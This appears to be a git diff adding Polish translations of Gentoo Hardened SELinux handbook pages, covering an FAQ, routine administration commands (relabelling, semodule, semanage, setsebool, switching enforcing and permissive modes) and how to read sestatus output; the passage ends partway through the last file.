@@ -0,0 +1,198 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-faq.xml,v 1.5 2006/09/07 11:58:11 rane Exp $ -->
+
+<sections>
+<version>1.3</version>
+<date>2006-05-01</date>
+
+<section>
+<title>Możliwości SELinux</title>
+<subsection>
+<title>Czy SELinux wprowadza jakieś ograniczenia zasobów?</title>
+<body>
+
+<p>
+Nie, limity zasobów są poza obrębem systemów kontroli dostępu. Jeżeli szukamy
+tego typu wsparcia, powinniśmy się zainteresować GRSecurity i RSBAC.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>SELinux i inne projekty hardened</title>
+<subsection>
+<title>Czy mogę używać SELinux i GRSecurity (i PAX)?</title>
+<body>
+
+<p>
+Tak, SELinux może być używane razem z GRSecurity i/lub PAX. Jednak sugeruje
+się, aby nie używać GRACL, ponieważ będzie on zbędny w przypadku SELinux.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Czy mogę używać SELinux i kompilatora hardened (PIE-SSP)?</title>
+<body>
+
+<p>
+Tak. Zalecane jest również używanie PaX to uzyskania pełnej funkcjonalności PIE
+kompilatora.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Czy mogę używać SELinux i RSBAC</title>
+<body>
+
+<p>
+Nie wiadomo. Jeżeli wypróbowałeś taką kombinację, prosimy o zgłoszenie jej
+wyników.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>SELinux i systemy plików</title>
+<subsection>
+<title>Czy mogę używać SELinux z moimi głównym systemami plików?</title>
+<body>
+
+<p>
+SELinux może być używane z ext2, ext3, JFS i XFS. Reiserfs (Reiser3) posiada
+pewne rozszerzone atrybuty, jednak jego wsparcie nigdy nie było pełne i zostało
+wycofane od jądra 2.6.14. Reiser4 nie jest w ogóle wspierany.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Czy mogę używać SELinux z pomocniczymi systemami plików?</title>
+<body>
+
+<p>
+Tak, SELinux potrafi montować pomocnicze systemy plików takie jak vfat i
+iso9660, z pewnym ważnym ostrzeżeniem. Wszystkie pliki na każdym z tych
+systemów będą posiadały taki sam typ SELinux, ponieważ nie posiadają one
+wsparcia dla rozszerzonych atrybutów. Tmpfs jest jedynym pomocniczym systemem
+plików, który posiada pełne wsparcie dla rozszerzonych atrybutów, przez co może
+on się zachowywać jak głównym system plików.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Czy mogę używać SELinux z sieciowymi systemami plików?</title>
+<body>
+
+<p>
+Tak, SELinux potrafi montować sieciowe systemy plików, takie jak NFS i CIFS, z
+pewnym ważnym ostrzeżeniem. Wszystkie pliki na każdym z tych
+systemów będą posiadały taki sam typ SELinux, ponieważ nie posiadają one
+wsparcia dla rozszerzonych atrybutów. W przyszłości, mamy nadzieje, że systemy
+te doczekają się wsparcia dla rozszerzonych atrybutów, przez co będą działały w
+taki sposób jak główne systemy plików.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Błędy wyświetlane przez Portage</title>
+<subsection>
+<title>
+Portage wyświetla błąd o brakującym module SELinux podczas używania
+emerge:
+</title>
+<body>
+
+<pre caption="Możliwy błąd podczas instalacji SELinux">
+!!! SELinux module not found. Please verify that it was installed.
+</pre>
+
+<p>
+Oznacza to że brakuje modułu SELinux w portage lub jest on uszkodzony. Również
+python mógł być uaktualniony do nowej wersji, co oznacza, iż należy
+przekompilować python-selinux. Przeinstalowanie dev-python/python-selinux
+powinno pomóc. Jeżeli zainstalowaliśmy pakiety przy pojawiającym się tego typu
+ostrzeżeniu, muszą zostać one oznakowane po naprawieniu tego błędu. Jeżeli nie
+jesteśmy w stanie określić czy pakiet potrzebuje reinstalacji, prawdopodobnie
+będziemy musieli dokonwać pełnego oznakowania.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Błąd jądra SELinux</title>
+<subsection>
+<title>Pojawia się błąd register_security podczasz uruchamiania komputera:</title>
+<body>
+
+<pre caption="Możliwy błąd kernela w czasie startu systemu">
+There is already a security framework initialized, register_security failed.
+Failure registering capabilities with the kernel
+selinux_register_security:  Registering secondary module capability
+Capability LSM initialized
+</pre>
+
+<p>
+Oznacza to że moduł Capability LSM nie może zostać zarejestrowany jako pierwszy
+moduł, gdyż na tej pozycji jest już SELinux. Trzeci komunikat oznacza, że moduł
+SELinux zostaje zarejestrowany jako drugi. Jest to normalne zachowanie.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Błąd ustawienia plików</title>
+<subsection>
+<title>
+Podczas próby ponownego oznakowania pojawia się błąd błędnego kontekstu:
+</title>
+<body>
+
+<pre caption="Przykładowy błąd nieprawidłowych kontekstów">
+# make relabel
+/usr/sbin/setfiles file_contexts/file_contexts `mount | awk '/(ext[23]| xfs).*rw/{print $3}'`
+/usr/sbin/setfiles:  read 559 specifications
+/usr/sbin/setfiles:  invalid context system_u:object_r:default_t on line number 39
+/usr/sbin/setfiles:  invalid context system_u:object_r:urandom_device_t on line number 120
+/usr/sbin/setfiles:  invalid context system_u:object_r:fonts_t on line number 377
+/usr/sbin/setfiles:  invalid context system_u:object_r:fonts_t on line number 378
+/usr/sbin/setfiles:  invalid context system_u:object_r:krb5_conf_t on line number 445
+/usr/sbin/setfiles:  invalid context system_u:object_r:system_cron_spool_t on line number 478
+/usr/sbin/setfiles:  invalid context system_u:object_r:system_cron_spool_t on line number 479
+/usr/sbin/setfiles:  invalid context system_u:object_r:system_cron_spool_t on line number 492
+/usr/sbin/setfiles:  invalid context system_u:object_r:system_cron_spool_t on line number 493
+/usr/sbin/setfiles:  invalid context system_u:object_r:system_cron_spool_t on line number 494
+Exiting after 10 errors.
+make: *** [relabel] Error 1
+</pre>
+
+<p>
+Na początku należy upewnić się, że odbyło się montowanie w
+<c>/selinux</c>. Jeśli selinuxfs nie jest zamontowane, <c>setfiles</c> nie
+potrafi sprawdzić kontekstów, co powoduje, iż uznaje, że wszystkie konteksty są
+nieprawidłowe. Jeśli <c>/selinux</c> jest zamontowane, to najprawdopodobniej
+istnieje nowa polityka, która jeszcze nie została zamontowana, co oznacza, że
+obecne konteksty są postrzegane przez system jako nieprawidłowe.
+</p>
+
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-howto.xml b/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-howto.xml
new file mode 100644
index 00000000..ef6f9b65
--- /dev/null
+++ b/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-howto.xml
@@ -0,0 +1,338 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-howto.xml,v 1.5 2008/07/25 11:42:04 shadow Exp $ -->
+
+<sections>
+<version>2.0</version>
+<date>2006-10-14</date>
+
+<section>
+<title>Załadowanie polityki do działającego jądra SELinux</title>
+<subsection>
+<body>
+
+<p>
+Aby załadować politykę do jądra SELinux, należy posiadać status <c>sysadm_r</c>.
+</p>
+
+<pre caption="Narzędzie semodule">
+# <i>semodule -B</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Zmiana statusu</title>
+<subsection>
+<body>
+
+<p>
+Zmiana statusu użytkownika jest możliwa tylko wtedy, gdy użytkownik ten posiada
+dostęp do docelowego statusu. Poniższy przykład pokazuje jak zmienić bieżący
+status na <c>sysadm_r</c>.
+</p>
+
+<pre caption="Zmiana statusu na sysadm_r">
+# <i>newrole -r sysadm_r</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Udostępnianie statusów użytkownikom</title>
+<subsection>
+<body>
+
+<p>
+Istnieje odwzorowanie użytkowników znanych ze standardowych systemów oparty na
+jądrze Linux na tożsamości SELinux. Polityka zawiera typowe tożsamości SELinux z
+istotnymi konfiguracjami statusów. Przykładowo, aby przypisać użytkownikowi
+<c>pebenito</c> tożsamość <c>staff_u</c>, należy użyć polecenia:
+</p>
+
+<pre caption="Przypisanie użytkownikowi pebenito tożsamości staff_u">
+# <i>semanage login -a -s staff_u pebenito</i>
+</pre>
+
+<p>
+Nie jest konieczne przeładowanie polityki. Jeśli użytkownik jest aktualnie
+zalogowany, musi się przelogować, aby zmiana dała efekt.
+</p>
+
+</body>
+</subsection>
+
+</section>
+
+<section>
+<title>Znakowanie plików</title>
+<subsection>
+<body>
+
+<p>
+Aby przeprowadzić znakowanie plików konieczny jest status <c>sysadm_r</c>.
+</p>
+
+<pre caption="Znakowanie plików">
+# <i>rlpkg -a</i>
+</pre>
+
+</body>
+</subsection>
+
+</section>
+
+<section>
+<title>Znakowanie pojedynczego pakietu</title>
+<subsection>
+<body>
+
+<p>
+Oprócz znakowania całego systemu plików, możliwe jest również znakowanie
+pojedynczego pakietu oprogramowania. Aby tego dokonać konieczne jest posiadanie
+statusu <c>sysadm_r</c>.
+</p>
+
+<pre caption="Znakowanie pojedynczych pakietów przy użyciu rlpkg">
+# <i>rlpkg shadow sash</i>
+</pre>
+
+<p>
+Dowolna liczba pakietów może zostać podana w wierszu poleceń jako argumenty dla
+rlpkg.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Skanowanie w poszukiwaniu bibliotek z relokacjami</title>
+<subsection>
+<body>
+
+<p>
+SELinux posiada udoskonalone mechanizmy ochrony pamięci. Jedną z obsługiwanych
+funkcji jest zezwolenie na relokacje (textrel) w bibliotekach zgodnych z
+formatem ELF. Biblioteki zawierające relokacje posiadają specjalną
+etykietę. Program <c>rlpkg</c> zawiera opcję skanowania systemu w poszukiwaniu
+takich bibliotek.
+</p>
+
+<pre caption="Skanowanie w poszukiwaniu relokacji">
+# <i>rlpkg -t</i>
+</pre>
+
+<p>
+Polecenie to jest również wywoływane automatycznie po każdym pełnym znakowaniu
+plików.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Uruchamianie demonów w odpowiedniej domenie</title>
+<subsection>
+<body>
+
+<p>
+Kontrola nad demonami, które posiadają skrypty inicjujące w /etc/init.d różni
+się nieco w SELinux w stosunku do standardowego systemu. Do uruchamiania
+skryptów należy używać polecenia <c>run_init</c>, Dzięki temu będziemy mieć
+pewność, że działają one w odpowiedniej domenie. Polecenie uruchamiające demony
+różni się od standardowego tym, że jest poprzedzone frazą
+<c>run_init</c>. Uruchamianie demonów wymaga posiadania statusu <c>sysadm_r</c>.
+</p>
+
+<pre caption="Przykład użycia run_init">
+# <i>run_init /etc/init.d/ntpd start</i>
+# <i>run_init /etc/init.d/apache2 restart</i>
+# <i>run_init /etc/init.d/named stop</i>
+</pre>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Integracja run_init w Gentoo</title>
+<body>
+
+<p>
+<c>run_init</c> zostało zintegrowane z systemem skryptów inicjujących w
+Gentoo. Gdy zainstalujemy SELinux, usługi mogą być uruchamiane i zatrzymywane
+tak jak zwykle, jednakże działanie to będzie wymagało autoryzacji użytkownika
+przy pomocy hasła.
+</p>
+
+<pre caption="Przykład użycia zintegrowanego run_init">
+# <i>/etc/init.d/sshd restart</i>
+Authenticating root.
+Password:
+ * Stopping sshd...                       [ ok ]
+ * Starting sshd...                       [ ok ]
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Przełączanie pomiędzy trybem egzekutywnym (enforcing) i pobłażliwym (permissive)</title>
+<subsection>
+<body>
+
+<p>
+Przełączanie pomiędzy trybami w SELinux jest bardzo proste. Wystarczy zapisać
+<c>1</c> dla trybu egzekutywnego lub <c>0</c> dla pobłażliwego w pliku
+<path>/selinux/enforce</path>, aby ustawić odpowiedni tryb. Obecny tryb może być
+sprawdzony poprzez odczytanie <path>/selinux/enforce</path>. Jeśli opcja "NSA
+SELinux Development Support" w jądrze jest wyłączona, system zawsze będzie
+pracował w trybie egzekutywnym i nie będzie można przełączyć się do trybu
+pobłażliwego.
+</p>
+
+<pre caption="Tryby SELinux">
+<comment>Sprawdzenie bieżącego trybu</comment>
+# <i>cat /selinux/enforce</i>
+<comment>Zmiana do trybu egzekutywnego</comment>
+# <i>echo 1 > /selinux/enforce</i>
+<comment>Zmiana do trybu pobłażliwego</comment>
+# <i>echo 0 > /selinux/enforce</i>
+</pre>
+
+<p>
+System z włączonym trybem deweloperskim może zostać uruchomiony w trybie
+egzekutywnym poprzez dodanie <c>enforcing=1</c> do linii poleceń jądra w
+programie rozruchowym (GRUB, lilo, etc).
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Polityki w systemach z infrastrukturą zarządzania SELinux</title>
+<body>
+
+<p>
+Poza powyższymi opcjami, tryb w czasie uruchamiania systemu może być wybrany
+również na podstawie ustawień w pliku <c>/etc/selinux/config</c>.
+</p>
+
+<pre caption="/etc/selinux/config">
+# SELINUX can take one of these three values:
+#       enforcing - SELinux security policy is enforced.
+#       permissive - SELinux prints warnings instead of enforcing.
+#       disabled - No SELinux policy is loaded.
+SELINUX=<comment>permissive</comment>
+</pre>
+
+<p>
+Należy pamiętać, że ustawienia z tego pliku zostaną nadpisane przez parametry
+przekazane do jądra, które zostały opisane powyżej.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Analizowanie wyników polecenia sestatus</title>
+<subsection>
+<body>
+
+<p>
+Narzędzie <c>sestatus</c> może być używane aby pozyskać szczegółowe - związane z
+SELinux - informacje o systemie. Opcja <c>-v</c> pozwala otrzymać więcej
+szczegółów o obecnym kontekście procesów lub plików. Wynik będzie podzielony na
+cztery sekcje. Sestatus udostępnia te informacje tylko użytkownikowi
+zalogowanemu jako root i posiadającemu status <c>sysadm_r</c>.
+</p>
+
+<pre caption="Przykładowy status - pierwsza sekcja">
+SELinux status:         enabled
+SELinuxfs mount:        /selinux
+Current mode:           enforcing
+Policy version:         18
+</pre>
+
+<p>
+Główne informacje na temat systemu znajdują się w pierwszej sekcji (powyższy
+listing). Pierwsza linijka pokazuje, czy funkcje SELinux są w jądrze i czy są
+włączone. Jeśli status jest wyłączony, oznacza to że albo jądro nie posiada
+wsparcia dla SELinux albo polityka nie jest załadowana. Druga linijka pokazuje
+miejsce zamontowania dla systemu plików SELinux. Podczas normalnego użytkowania
+powinniśmy zobaczyć tu domyślną lokalizację, czyli <c>/selinux</c>. Trzecia
+linijka pokazuje bieżący tryb SELinux, który może być albo trybem egzekutywnym
+(enforcing) albo pobłażliwym (permissive). Czwarta linijka pokazuje wersję
+polityki, którą udostępnia bieżące jądro.
+</p>
+
+<pre caption="Przykładowe zmienne polityki SELinux - druga sekcja">
+Policy booleans:
+secure_mode             inactive
+ssh_sysadm_login        inactive
+user_ping               inactive
+</pre>
+
+<p>
+Druga sekcja udostępnia informacje na temat włączonych zmiennych polityki. Lewa
+kolumna przedstawia zmienną. Prawa kolumna pokazuje status danej zmiennej -
+aktywna (active), albo nieaktywna (inactive). Ta sekcja nie będzie pokazana
+w wersji 15 polityki, ponieważ nie wspiera ona polityki zmiennych.
+</p>
+
+<pre caption="Przykładowe konteksty procesów - trzecia sekcja">
+Process contexts:
+Current context:        pebenito:sysadm_r:sysadm_t
+Init context:           system_u:system_r:init_t
+/sbin/agetty            system_u:system_r:getty_t
+/usr/sbin/sshd          system_u:system_r:sshd_t
+</pre>
+
+<p>
+Trzecia sekcja pokazuje aktualny kontekst oraz konteksty wielu ważnych procesów.
+Jeśli proces będzie uruchomiony w złym kontekście, nie będzie prawidłowo
+działał.
+</p>
+
+<pre caption="Przykładowe konteksty plików - czwarta sekcja">
+File contexts:
+Controlling term:       pebenito:object_r:sysadm_devpts_t
+/sbin/init              system_u:object_r:init_exec_t
+/sbin/agetty            system_u:object_r:getty_exec_t
+/bin/login              system_u:object_r:login_exec_t
+/sbin/rc                system_u:object_r:initrc_exec_t
+/sbin/runscript.sh      system_u:object_r:initrc_exec_t
+/usr/sbin/sshd          system_u:object_r:sshd_exec_t
+/sbin/unix_chkpwd       system_u:object_r:chkpwd_exec_t
+/etc/passwd             system_u:object_r:etc_t
+/etc/shadow             system_u:object_r:shadow_t
+/bin/sh                 system_u:object_r:bin_t -> system_u:object_r:shell_exec_t
+/bin/bash               system_u:object_r:shell_exec_t
+/bin/sash               system_u:object_r:shell_exec_t
+/usr/bin/newrole        system_u:object_r:newrole_exec_t
+/lib/libc.so.6          system_u:object_r:lib_t -> system_u:object_r:shlib_t
+/lib/ld-linux.so.2      system_u:object_r:lib_t -> system_u:object_r:shlib_t
+</pre>
+
+<p>
+Czwarta sekcja przedstawia konteksty terminala bieżącego procesu oraz wielu
+ważnych plików. Dla dowiązań symbolicznych pokazany jest kontekst dowiązania, a
+potem kontekst docelowego pliku. Jeśli plik posiada niewłaściwy kontekst, może
+być niedostępny lub może spowodować uruchomienie procesu w niewłaściwym
+kontekście.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-initpol.xml b/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-initpol.xml
new file mode 100644
index 00000000..84bf0184
--- /dev/null
+++ b/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-initpol.xml
@@ -0,0 +1,65 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-initpol.xml,v 1.5 2008/07/25 12:55:55 shadow Exp $ -->
+
+<sections>
+<version>1.3</version>
+<date>2004-11-16</date>
+
+<section>
+<title>Weryfikacja dostępnych polityk</title>
+<subsection>
+<body>
+
+<p>
+Aby wykonać poniższe czynności, konieczne jest posiadanie statusu
+<c>sysadm_r</c>.
+</p>
+
+<p>
+Zawierający politykę plik binarny musi znajdować się w położeniu:
+<path>/etc/selinux/{strict,targeted}/policy</path>. Jeśli go brakuje, należy
+zainstalować politykę.
+</p>
+
+<pre caption="Instalacja polityki">
+# <i>semodule -n -B</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Sprawdzenie czy init potrafi uruchomić daną politykę</title>
+<subsection>
+<body>
+
+<p>
+Ostatecznym sprawdzianem jest upewnienie się czy init potrafi uruchomić wybraną
+politykę. Wystarczy wykonać polecenie <c>ldd</c> z argumentem <c>/sbin/init</c>.
+Jeśli libselinux nie znajdzie się w wynikach, konieczne jest przeinstalowanie
+sysvinit.
+</p>
+
+<pre caption="Sprawdzanie czy konieczne jest przeinstalowanie sysvinit">
+# <i>ldd /sbin/init</i>
+  linux-gate.so.1 =>  (0xffffe000)
+  <comment>libselinux.so.1 => /lib/libselinux.so.1 (0x40025000)</comment>
+  libc.so.6 => /lib/libc.so.6 (0x40035000)
+  /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
+</pre>
+
+<p>
+Teraz wystarczy ponownie uruchomić komputer, aby init otrzymał odpowiedni
+kontekst i załadował wybraną politykę.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-libsemanage.xml b/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-libsemanage.xml
new file mode 100644
index 00000000..dd4942b3
--- /dev/null
+++ b/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-libsemanage.xml
@@ -0,0 +1,358 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-libsemanage.xml,v 1.1 2007/06/02 11:57:15 shadoww Exp $ -->
+
+<sections>
+<version>1.0</version>
+<date>2006-10-15</date>
+
+<section>
+<title>Infrastruktura zarządzania SELinux</title>
+<subsection>
+<body>
+
+<p>
+Infrastruktura zarządzania SELinux odpowiada za kilka aspektów polityki
+SELinux. Narzędzia wchodzące w skład infrastruktury są oparte na bibliotece
+libsemanage. Istnieje kilka programów przeznaczonych do różnych zadań, między
+innymi <c>semanage</c> i <c>semodule</c>. Pozwalają one na zmianę różnych
+aspektów polityki, nie wymagając przy tym jej plików źródłowych.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Zarządzanie modułami polityki</title>
+<subsection>
+<title>Czym jest moduł polityki?</title>
+<body>
+
+<p>
+SELinux obsługuje modularne polityki. Oznacza to, że kilka elementów zostaje
+połączonych w celu stworzenia jednej polityki, która może być załadowana do
+jądra systemu. Struktura ta przypomina bydowę jądra Linux i jego
+modułów. Istnieje główny plik kernela, ładowany w czasie startu system, a także
+rozmaite moduły, które można załadować (pod warunkiem spełnienia ich zależności)
+oraz usunąć z działającego już jądra bez jego restartowania. Podobnie każda
+polityka składa się z zasadniczej części oraz zera lub większej liczby
+modułów. Moduły budowane są poprzez kompilowanie pewnych zasad polityki i
+tworzenie pakietu (plik *.pp), który zawiera skompilowany wcześniej plik i
+opcjonalnie informacje na temat kontekstów plików.
+</p>
+
+<p>
+Podstawowy moduł polityki (plik base.pp) zawiera jej elementarne
+wymagania. Wszystkie modularne polityki muszą składać się przynajmniej z modułu
+<c>base</c>. W Gentoo istnieje polityka zawierająca moduły dla wszystkich części
+profilu systemu. Znajduje się ona w pakiecie
+<c>selinux-base-policy</c>. Pozostałe pakiety odpowiedzialne za instalowanie
+polityk, które znajdują się w drzewie Portage, zawierają jeden lub więcej
+modułów.
+</p>
+
+<p>
+Więcej informacji o tworzeniu modułów, a w szczególności na temat zarządzania
+lokalnymi modyfikacjami wykorzystywanej polityki, można uzyskać w <uri
+link="selinux-handbook.xml?part=3&amp;chap=5">Przewodniku po modułach
+polityki</uri>.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Pamięć modułów SELinux</title>
+<body>
+
+<p>
+Gdy moduł polityki jest dodawany lub usuwany z jądra systemu zostaje on
+skopiowany lub wykasowany ze specjalnej pamięci modułów SELinux. W tym
+repozytorium znajdują się wszystkie moduły, wykorzystane do utworzenia aktualnie
+używanej polityki oraz kilka plików pomocniczych. Znajduje się ono w katalogu
+<path>/etc/selinux/{strict,targeted}/modules</path>. Nigdy nie jest konieczny
+bezpośredni dostęp do pamięci modułów. Wszytkie operacje powinny być wykonywane
+przy pomocy narzędzi opartych na bibliotece libsemanage.
+</p>
+
+
+<p>
+Biblioteka libsemanage obsługuje pamięć modułów na zasadzie transakcji. Oznacza
+to, że jeśli wykonywana jest grupa operacji (transakcja) i jedna z nich nie
+powiedzie się, to cała transakcja zostaje anulowana. Pozwala to na utrzymanie
+spójności pamięci modułów.
+</p>
+
+
+<p>
+Zarządzanie pamięcią modułów jest możliwe przy użyciu polecenia
+<c>semodule</c>. Aby wyświetlić zawartość repozytorium, należy skorzystać z
+parametru <c>-l</c>.
+</p>
+
+<pre caption="Wyświetlanie zawartości pamięci modułów">
+# semodule -l
+distcc1.1.1
+</pre>
+
+
+<p>
+Bazowy moduł jest wymagany we wszystkich przypadkach i nie posiada oznaczenia
+wersji, więc nie pojawia się na liście. Wszystkie inne moduły zostaną wypisane
+razem z ich wersjami.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Ładowanie modułu polityki</title>
+<body>
+
+<p>
+Dodając moduły należy odwoływać się do nich poprzez nazwy plików.
+</p>
+
+<pre caption="Ładowanie modułu do jądra">
+# <i>semodule -i module.pp</i>
+</pre>
+
+
+<p>
+Powyższe polecenie spowoduje załadowanie modułu do pamięci modułów dla używanej
+obecnie polityki zgodnie z ustawieniami w pliku
+<path>/etc/selinux/config</path>. Jeśli umieszczanie modułu w repozytorium
+zakończy się sukcesem, to polityka zostanie ponownie załadowana, o ile nie użyto
+parametru <c>-n</c>. Aby załadować moduł do pamięci innej polityki, należy użyć
+parametru <c>-s</c>.
+</p>
+
+<pre caption="Ładowanie modułu do innej polityki">
+# <i>semodule -s targeted -i module.pp</i>
+</pre>
+
+<p>
+Ponieważ powyższe polecenie odnosi się do innej polityki niż obecnie używana,
+nie zostanie ona załadowana.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Usuwanie modułu polityki</title>
+<body>
+
+<p>
+Usuwając moduł odwołujemy się do niego poprzez jego nazwę w pamięci modułów.
+</p>
+
+<pre caption="Usuwanie modułu">
+# <i>semodule -r module</i>
+</pre>
+
+
+<p>
+Powyższe polecenie spowoduje usunięcie modułu z pamięcie obecnie używanej
+polityki, zgodnie z ustawieniami w pliku <path>/etc/selinux/config</path>. Jeśli
+zakończy się to sukcesem, polityka zostanie ponownie załadowana, o ile nie użyto
+parametru <c>-n</c>. W czasie usuwania modułów można również wykorzystać
+parametr <c>-s</c>.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Konfigurowanie odwzorowań użytkowników na tożsamości SELinux</title>
+<subsection>
+<body>
+
+<p>
+Obecnie przypisywanie użytkownikom zestawów ról odbywa się poprzez tworzenie
+odwzorowań kont użytkowników na tożsamości SELinux. Gdy użytkownik loguje się do
+systemu, program odpowiedzialny za ten proces ustawia dla tego użytkownika
+tożsamość SELinux na podstawie odwzorowań. Jeśli nie ma żadnego jawnego
+odwzorowania, wykorzystane zostanie odwzorowanie o nazwie <c>__default__</c>.
+</p>
+
+
+<p>
+Do zarządzania odwzorowaniami służy program <c>semanage</c>.
+</p>
+
+<pre caption="Odwzorowania">
+# <i>semanage login -l</i>
+Login NameSELinux User
+
+__default__ user_u
+rootroot
+</pre>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Dodawanie odwzorowań</title>
+<body>
+
+<p>
+Aby utworzyć odwzorowanie użytkownika <c>pebenito</c> na tożsamość SELinux o
+nazwie <c>staff_u</c>, należy wykonać polecenie:
+</p>
+
+<pre caption="Dodawanie odwzorowań">
+# <i>semanage login -a -s staff_u pebenito</i>
+</pre>
+
+
+<p>
+Więcej informacji na temat dostępnych tożsamości SELinux można uzyskać w
+dokumencie <uri link="selinux-handbook.xml?part=3&amp;chap=1#doc_chap3">Przegląd
+SELinux</uri>.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Usuwanie odwzorowań</title>
+<body>
+
+<p>
+Usunięcie odwzorowania użytkownika <c>pebenito</c> na tożsamość SELinux jest
+możliwe przy pomocy polecenia:
+</p>
+
+<pre caption="Usuwanie odwzorowania">
+# <i>semanage login -d pebenito</i>
+</pre>
+
+<note>
+Odwzorowania użytkowników określone przez politykę bezpieczeństwa (a nie przez
+infrastrukturę zarządzania) nie mogą zostać usunięte.
+</note>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Konfigurowanie domyślnych wartości zmiennych</title>
+<subsection>
+<body>
+
+<p>
+
+Program <c>setsebool</c> jest narzędziem opartym o bibliotekę libsemanage. Jego
+podstawową funkcją jest ustawianie wartości zmiennych związanych z
+SELinux. Jeśli jednak system zostanie wyłączony, to po jego powtórnym włączeniu
+zmienne zostaną ustawione na wartości domyślne, określone w polityce
+bezpieczeństwa. Przy pomocy parametru <c>-P</c> można przypisać zmiennej nową
+wartość i uczynią ją domyślną dla tej zmiennej.
+</p>
+
+<pre caption="Ustawianie domyślnej wartości zmiennej">
+# <i>setsebool -P fcron_crond 1</i>
+</pre>
+
+
+<p>
+Powyższe polecenie spowoduje przypisanie zmiennej <c>fcron_crond</c> wartości
+logicznej prawdy i uczyni tę wartość domyślną dla zmiennej.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Konfigurowanie tożsamości SELinux</title>
+<subsection>
+<body>
+
+<p>
+Zazwyczaj nie ma potrzeby dodawania tożsamości SELinux do polityki, gdyż
+odwzorowania użytkowników na tożsamości są wystarczające. Niemniej, może to
+ułatwić zarządzanie, ponieważ tożsamość stanowi część kontekstu komunikatu
+odmowy dostępu.
+</p>
+
+
+<p>
+Do zarządzania tożsamościami SELinux służy program <c>semanage</c>.
+</p>
+
+<pre caption="Wylistowanie tożsamości SELinux">
+# <i>semanage user -l</i>
+SELinux UserSELinux Roles
+
+rootsysadm_r staff_r
+staff_u sysadm_r staff_r
+sysadm_usysadm_r
+system_usystem_r
+user_uuser_r
+</pre>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Dodawanie tożsamości</title>
+<body>
+
+<p>
+Poza określeniem ról dla tworzonej tożsamości, należy również wybrać przedimek,
+odpowiadający jednej z ról, na przykład <c>staff</c> lub <c>sysadm</c>. Zostanie
+on wykorzystany przy znakowaniu katalogu domowego. Przykładowo, jeśli prefiks ma
+postać <c>staff</c>, to katalogi domowe użytkowników, których konta zostaną
+odwzorowane na tę tożsamość, zostaną oznakowane etykietami
+<c>staff_home_dir_t</c>.
+</p>
+
+
+<p>
+Tożsamość <c>test_u</c> z rolami <c>staff_r</c> i <c>sysadm_r</c> oraz prefiksem
+<c>staff</c> można utworzyć przy pomocy następującego polecenia:
+</p>
+
+<pre caption="Tworzenie nowej tożsamości">
+# <i>semanage user -a -R 'staff_r sysadm_r' -P staff test_u</i>
+</pre>
+
+<note>
+Aby wykorzystać nową tożsamość, należy dodać odpowiednie odwzorowania
+użytkowników na tę tożsamość.
+</note>
+
+</body>
+</subsection>
+
+<subsection>
